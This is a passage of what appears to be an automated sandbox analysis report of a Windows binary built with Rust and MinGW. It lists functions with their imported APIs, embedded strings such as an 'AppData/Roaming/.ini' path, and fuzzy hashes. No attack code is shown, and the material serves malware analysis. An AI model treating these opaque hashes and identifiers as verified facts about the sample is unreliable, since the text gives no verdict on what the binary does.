Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}$assertion failed: new_left_len <= CAPACITY
API String ID: 3510742995-2079967719
Opcode ID: 857e78b8965fadb09579569978df2369435fc3f52ba0ba4689f9be7771eada54
Instruction ID: 3a3a34537f3678ee02e364cddad35e9f750c9b0188a363a506dfbed414a2dbee
Opcode Fuzzy Hash: 857e78b8965fadb09579569978df2369435fc3f52ba0ba4689f9be7771eada54
Instruction Fuzzy Hash: 1C427B32614BC185EB21CF68EC403F937A8FB58788F548226DE9D9B795DF7892A5D300

Function 00007FF69971FBB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 238COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF69971FBCE
DuplicateHandle.KERNEL32 ref: 00007FF69971FBF8
GetCurrentProcess.KERNEL32 ref: 00007FF69971FD43
DuplicateHandle.KERNEL32 ref: 00007FF69971FD6D
GetLastError.KERNEL32 ref: 00007FF69971FD7C
CloseHandle.KERNEL32 ref: 00007FF69971FDB4

Strings

failed to spawn thread, xrefs: 00007FF6997200C0
cannot access a Thread Local Storage value during or after destructionlibrary\std\src\thread\local.rs, xrefs: 00007FF6997200ED
RUST_MIN_STACK, xrefs: 00007FF69971FE15

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Handle$CurrentDuplicateProcess$CloseErrorLast
String ID: RUST_MIN_STACK$cannot access a Thread Local Storage value during or after destructionlibrary\std\src\thread\local.rs$failed to spawn thread
API String ID: 120317985-141927316
Opcode ID: 33c01649a479cf9f13bc2aed1aa42619e88183e4b36295e1086b4b6008fb862b
Instruction ID: 80c7c89cccf86cb9226f4c969e33cd8ff8f71c09a8660c060046d8f5722396c8
Opcode Fuzzy Hash: 33c01649a479cf9f13bc2aed1aa42619e88183e4b36295e1086b4b6008fb862b
Instruction Fuzzy Hash: 34B17022A19A4286F7309F60D8113BD37A0FB49798F444A76EA8D8B796DF3DE545C340

Function 00007FF69973D44B Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF69973D4EE
memcmp.MSVCRT ref: 00007FF69973D508
memcmp.MSVCRT ref: 00007FF69973D522
memcmp.MSVCRT ref: 00007FF69973D53C
memcmp.MSVCRT ref: 00007FF69973D556
memcmp.MSVCRT ref: 00007FF69973D570
memcmp.MSVCRT ref: 00007FF69973D58A
memcmp.MSVCRT ref: 00007FF69973D5A4

Strings

k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17vr18vr19vr20vr21vr22vr23vr24vr25vr26vr27vr28vr29vr30vr31vscrtfhartfiartexasrDW_SECT_IN, xrefs: 00007FF69973D4DB

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcmp
String ID: k0k1k2k3k4k5k6k7r0r1r2r3r4r5r6r7r16r17r18r19r20r21r22r23r24r25r26r27r28r29r30r31lrctrcr0cr1cr2cr3cr4cr5cr6cr7xervr0vr1vr2vr3vr4vr5vr6vr7vr8vr9vr10vr11vr12vr13vr14vr15vr16vr17vr18vr19vr20vr21vr22vr23vr24vr25vr26vr27vr28vr29vr30vr31vscrtfhartfiartexasrDW_SECT_IN
API String ID: 1475443563-2406371666
Opcode ID: 46757cf382599927a8d4a0aabcd9331590dbb94c894263678a18449331760e8c
Instruction ID: 9fb63f56d088f015665947ee032c96d17decb84267086d2b4e35f5ce464199b0
Opcode Fuzzy Hash: 46757cf382599927a8d4a0aabcd9331590dbb94c894263678a18449331760e8c
Instruction Fuzzy Hash: CF414B41A6C14786FA307E36BA821B82562DF11BC5F5468B2DD0DCEAD5EF5EF940D202

Function 00007FF699725E00 Relevance: 12.7, APIs: 10, Instructions: 158COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FF699725E50
TlsSetValue.KERNEL32 ref: 00007FF699725E63
TlsGetValue.KERNEL32 ref: 00007FF699725EB0
TlsSetValue.KERNEL32 ref: 00007FF699725EC3
TlsGetValue.KERNEL32 ref: 00007FF699725F10
TlsSetValue.KERNEL32 ref: 00007FF699725F23
TlsGetValue.KERNEL32 ref: 00007FF699725F60
TlsSetValue.KERNEL32 ref: 00007FF699725F73
TlsGetValue.KERNEL32 ref: 00007FF699725FBC
TlsSetValue.KERNEL32 ref: 00007FF699725FCD

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1de102185da3bb913713fa39b87b29e93cb6e956dc5f28ed214f9f23d1630ec3
Instruction ID: 2e83aa62ab4d829d013f2126b1b29823a7323ac214b99f4873366dd795e9ed1c
Opcode Fuzzy Hash: 1de102185da3bb913713fa39b87b29e93cb6e956dc5f28ed214f9f23d1630ec3
Instruction Fuzzy Hash: D8512521F2A75256EB795E12420037C6392EF56FC0F8C80B9DE0D9FB85DE39B8439281

Function 00007FF69976D7A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00007FF69976D8BB

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF69976D92E
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF69976D951
Address %p has no image-section, xrefs: 00007FF69976D812, 00007FF69976D965
Mingw-w64 runtime failure:, xrefs: 00007FF69976D7D7

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 4fd57c9b88b693a7d41eaaea85bb8feca93a6b3e80787ddb801d584a8055ed59
Instruction ID: 5113f3be71917b903d8542de7b1995c7ab19447d568508de89e7ec008295594c
Opcode Fuzzy Hash: 4fd57c9b88b693a7d41eaaea85bb8feca93a6b3e80787ddb801d584a8055ed59
Instruction Fuzzy Hash: BD51E032A08B4692EB309F52E9406AA77A0FF99BD4F484675DE4D8B395EF3CE441C740

Function 00007FF699706B00 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 116networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF699706B8C
closesocket.WS2_32 ref: 00007FF699706BF2
closesocket.WS2_32 ref: 00007FF699706C50
setsockopt.WS2_32 ref: 00007FF699706C87
WSAGetLastError.WS2_32 ref: 00007FF699706C91

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF699706C3C
assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs, xrefs: 00007FF699706C24

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLastclosesocket$setsockopt
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs
API String ID: 3650012124-513854611
Opcode ID: 0002f7e1c8230d6538c6647e2cc2e5e4f76dd2597bc40ffbbab599012fc03b46
Instruction ID: b30312f24a3b0732d5f3d37546bef2044bcafe98f901f44eac3432cf5123f967
Opcode Fuzzy Hash: 0002f7e1c8230d6538c6647e2cc2e5e4f76dd2597bc40ffbbab599012fc03b46
Instruction Fuzzy Hash: BA41B062A0869189F7309F65E4012ED7771EF843A8F548235EF9D4BB94EF3EA681C340

Function 00007FF699707C60 Relevance: 12.1, APIs: 8, Instructions: 70networkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF699707C84
WSASocketW.WS2_32 ref: 00007FF699707CC5
WSAGetLastError.WS2_32 ref: 00007FF699707CD7
WSASocketW.WS2_32 ref: 00007FF699707D0A
SetHandleInformation.KERNEL32 ref: 00007FF699707D23
GetLastError.KERNEL32 ref: 00007FF699707D2C
closesocket.WS2_32 ref: 00007FF699707D36
WSAGetLastError.WS2_32 ref: 00007FF699707D3F

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationclosesocketmemset
String ID:
API String ID: 3407399761-0
Opcode ID: 9fae1a40f16f2f3957333c6efa841f139f9f280d079620cbfc37dba620905ab4
Instruction ID: 5a5bb393b6675c69d8753bfd49090961752b0016a66bfe7f52ba06d60b5a352d
Opcode Fuzzy Hash: 9fae1a40f16f2f3957333c6efa841f139f9f280d079620cbfc37dba620905ab4
Instruction Fuzzy Hash: 3E217C21A081514AF730EE35D4453B93654EB853F8F2847B0EE6C9BBC9DE2EAD42C751

Function 00007FF6997393AE Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 55COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF699739423
memcmp.MSVCRT ref: 00007FF69973943D

Strings

SPSR_ABT, xrefs: 00007FF6997393D7
SPSR_UND, xrefs: 00007FF6997393EA
SPSR_IRQ, xrefs: 00007FF6997393C4
SPSR_SVC, xrefs: 00007FF6997393FD
SPSR_FIQ, xrefs: 00007FF6997393B1
TPIDRUROTPIDRURWTPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPI, xrefs: 00007FF699739410

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcmp
String ID: SPSR_ABT$SPSR_FIQ$SPSR_IRQ$SPSR_SVC$SPSR_UND$TPIDRUROTPIDRURWTPIDPRHTPIDPRSPLRPCACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPI
API String ID: 1475443563-2082546588
Opcode ID: f5176a462027b55d940c15e46d0c21bb11bd80f3f09bc554bb613763e8c96442
Instruction ID: d825e6e57c1f26d767a5450aaaf17d0d116435a4bdebb9691314e425c1286917
Opcode Fuzzy Hash: f5176a462027b55d940c15e46d0c21bb11bd80f3f09bc554bb613763e8c96442
Instruction Fuzzy Hash: F3115866E1E54AC0EE300E7674413BA1184EF54BC6E1064B6CA4EEF3D0ED3EA8469246

Function 00007FF6996F9C40 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF6996F9D6A
GetEnvironmentVariableW.KERNEL32 ref: 00007FF6996F9D7C
GetLastError.KERNEL32 ref: 00007FF6996F9D88
GetLastError.KERNEL32 ref: 00007FF6996F9DA1

Strings

environment variable not foundenvironment variable was not valid unicode: , xrefs: 00007FF6996F9FC5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID: environment variable not foundenvironment variable was not valid unicode:
API String ID: 2691138088-3632183283
Opcode ID: 0342860675461f0b20e08d9a2fdbebe81f3f7dcae1fddb8a0acb782e836da0a9
Instruction ID: be25578efd15ebdf39acdcf28f47e036ac879cace1d8cd466994e0afe079cf57
Opcode Fuzzy Hash: 0342860675461f0b20e08d9a2fdbebe81f3f7dcae1fddb8a0acb782e836da0a9
Instruction Fuzzy Hash: A0A17D72A04AC289FB319F25D8453E92365FB05B8CF544175DE2C9BB9ADF38A291E300

Function 00007FF69970D280 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF69970D300
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF69970D324
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF69970D38A
WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF69970D3A5
GetLastError.KERNEL32 ref: 00007FF69970D3AF

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF69970D3DC, 00007FF69970D476

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Address$Wake$Single$ErrorLastWait
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 798958160-2333694755
Opcode ID: cd302619e39ff7fc371fd1f27c6b2ef57ef3d3f9db92bdbf5a41809f3225fba1
Instruction ID: d468a3d6ec870356fcf8f31c8bdbcb28891268be3eb354bcaf00d0e334fe247d
Opcode Fuzzy Hash: cd302619e39ff7fc371fd1f27c6b2ef57ef3d3f9db92bdbf5a41809f3225fba1
Instruction Fuzzy Hash: 5F51A122A1878296FB319F61A4012BE77A0FB057D4F4445B6DEAD8B6C2DE3EF146C340

Function 00007FF699726960 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 120networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF6997269E9

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF699726A68
assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs, xrefs: 00007FF699726A50
addr, xrefs: 00007FF699726AF7
socketOwnedSocketpanicked at :library\std\src\panic.rs, xrefs: 00007FF699726B21
TcpListenerUdpSocket.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwolibrary\std\src\..\..\backtrace\src\symbolize\gimli.rs, xrefs: 00007FF699726AA4

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast
String ID: TcpListenerUdpSocket.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwolibrary\std\src\..\..\backtrace\src\symbolize\gimli.rs$addr$assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs$socketOwnedSocketpanicked at :library\std\src\panic.rs
API String ID: 1452528299-2367200954
Opcode ID: b7692c3181e534528fca3b5291e6f43b8c9235abbe8294c103fbf7ebbb6e7eec
Instruction ID: d6ce42909674c2272089f4ebdf2d828db69508a17dfc4f1c0075397ca3c6780c
Opcode Fuzzy Hash: b7692c3181e534528fca3b5291e6f43b8c9235abbe8294c103fbf7ebbb6e7eec
Instruction Fuzzy Hash: 9A51B422E1869298F7319FA4E4022FC7370FF40358F44917AEE8C9A655EF3CA286C341

Function 00007FF69970B8E0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 307COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69970B944
memcpy.MSVCRT ref: 00007FF69970BA24
memcpy.MSVCRT ref: 00007FF69970BC12

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF69970BB05
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF69970BA6A
AppData/Roaming/.ini, xrefs: 00007FF69970B9C9, 00007FF69970BB0A, 00007FF69970BCA2

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$AppData/Roaming/.ini$assertion failed: is_code_point_boundary(self, new_len)
API String ID: 3510742995-3583678413
Opcode ID: ed0b1ed9c4e76238d366cb2176a840bfc7e87afff67f0850cb94e2065038582c
Instruction ID: aac9b4e1cc9665d05c1bf72fc24c05b230894f5dce9641d7fb45417728b51225
Opcode Fuzzy Hash: ed0b1ed9c4e76238d366cb2176a840bfc7e87afff67f0850cb94e2065038582c
Instruction Fuzzy Hash: DDB1D2A2F0869145FF259F6299012BD6760FF45BC8F488475DE0D9B78AEE3DE681C310

Function 00007FF699722020 Relevance: 9.2, APIs: 6, Instructions: 249COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF69972211A
GetFullPathNameW.KERNEL32 ref: 00007FF69972212F
GetLastError.KERNEL32 ref: 00007FF69972213A
GetLastError.KERNEL32 ref: 00007FF699722153
GetLastError.KERNEL32 ref: 00007FF699722213
memcpy.MSVCRT ref: 00007FF6997222D2

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$FullNamePathmemcpy
String ID:
API String ID: 674145353-0
Opcode ID: ea713346e84e7ddf4ad49fcad697a07c0b7a6ead2b039cd3169ce72f6521a79b
Instruction ID: 19d9a73b502a6343ff14265c272020941f40edd3548c52f7ab4cdca7662189d2
Opcode Fuzzy Hash: ea713346e84e7ddf4ad49fcad697a07c0b7a6ead2b039cd3169ce72f6521a79b
Instruction Fuzzy Hash: 78A19B62B18B8286EB799F2299443FD6255FF04BD8F548076DE0C9F78ADE3DE6418300

Function 00007FF6996F89A0 Relevance: 9.2, APIs: 6, Instructions: 182COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6996F8A23
RtlCaptureContext.KERNEL32 ref: 00007FF6996F8A2B
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6996F8A4F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6996F8BDB
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF6996F8CC0

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: AddressCaptureContextEntryFunctionLookupSingleUnwindVirtualWakememset
String ID:
API String ID: 2014759167-0
Opcode ID: ce05b5f1b0968bff98fb8539160eb74b56b2da164e2f5dde1405df35c6bed6d5
Instruction ID: 0b4b07b29e6492968a91d7fb87898279db17a86355a8d8fd05064baf05448863
